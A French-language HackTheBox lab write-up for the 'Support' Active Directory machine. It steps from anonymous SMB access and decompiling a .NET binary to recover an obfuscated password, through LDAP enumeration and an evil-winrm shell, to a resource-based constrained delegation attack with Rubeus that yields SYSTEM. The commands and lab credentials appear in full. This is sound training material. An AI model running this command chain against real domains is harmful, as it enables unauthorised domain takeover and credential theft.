← Retour au carnet HTB · Windows AD · Easy · n°02

Support

Active Directory Windows. SMB anonyme révèle un binaire .NET avec password XOR obfusqué. Énumération LDAP, WinRM, puis RBCD Attack via BloodHound pour SYSTEM.

Date
14 déc. 2022
IP
10.129.178.26
OS
Windows Server (AD)
Plateforme
HackTheBox
Windows ADSMBLDAPReverse Engineering.NET ILSpyBloodHoundRBCDKerberos
Easy
↳ BloodHound d'abord, toujours.
i.

SMB anonyme & reverse engineering .NET.

Partage SMB support-tools accessible sans credentials. Contient UserInfo.exe.zip, un binaire .NET.

smbclient \\10.129.178.26\support-tools
get UserInfo.exe.zip

Décompilation avec ILSpy : le code source révèle un password XOR obfusqué.

enc_password = "0Nv32PTwgYjzg9/8j5TbmvPd3e7WhtWWyuPsyO76/Y+U193E"
key = "armando"
# Déchiffrement Python : XOR + clé cyclique + 223
# → nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
Credentials LDAP : ldap@support.htb / nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz
ii.

Énumération LDAP & WinRM.

Requête LDAP avec les credentials récupérés. L'attribut info de l'objet support contient son propre mot de passe en clair.

ldapsearch -h support.htb -D ldap@support.htb \
  -w 'nvEfEK16^1aM4$e7AclUf8x$tRWxPWO1%lmz' \
  -b "dc=support,dc=htb" "*" | grep -A3 "CN=support"
# info: Ironside47pleasure40Watchful
evil-winrm -u support -p 'Ironside47pleasure40Watchful' -i support.htb
Shell WinRM support obtenu. Membre de "Shared Support Accounts".
iii.

BloodHound → RBCD Attack → SYSTEM.

BloodHound révèle que le groupe Shared Support Accounts possède GenericAll sur le DC. RBCD Attack possible.

# Créer une machine fictive (quota = 10)
New-MachineAccount -MachineAccount FAKE-COMP01 -Password $(ConvertTo-SecureString 'Password123' -AsPlainText -Force)
Set-ADComputer -Identity DC -PrincipalsAllowedToDelegateToAccount FAKE-COMP01$
# S4U attack avec Rubeus → ticket Administrator
.Rubeus.exe s4u /user:FAKE-COMP01$ /rc4:... /impersonateuser:Administrator /msdsspn:cifs/dc.support.htb /ptt
# Convertir ticket → psexec → NT AUTHORITYSYSTEM
NT AUTHORITY\SYSTEM obtenu. Domaine entièrement compromis.

Chaîne d'attaque.

1
SMB anonyme
support-tools → UserInfo.exe.zip
2
Reverse .NET
ILSpy → XOR decryption → LDAP creds
3
Énumération LDAP
attribut info → password support en clair
4
WinRM
evil-winrm → shell support
5
BloodHound
GenericAll sur DC via Shared Support Accounts
6
RBCD Attack
Fake machine → S4U Rubeus → SYSTEM
Note terrain

Ma première machine Active Directory sérieuse. RBCD est une attaque élégante : on abuse d'une délégation Kerberos pour se faire passer pour Administrator sans connaître son mot de passe. BloodHound est indispensable, sans lui, ce vecteur reste invisible.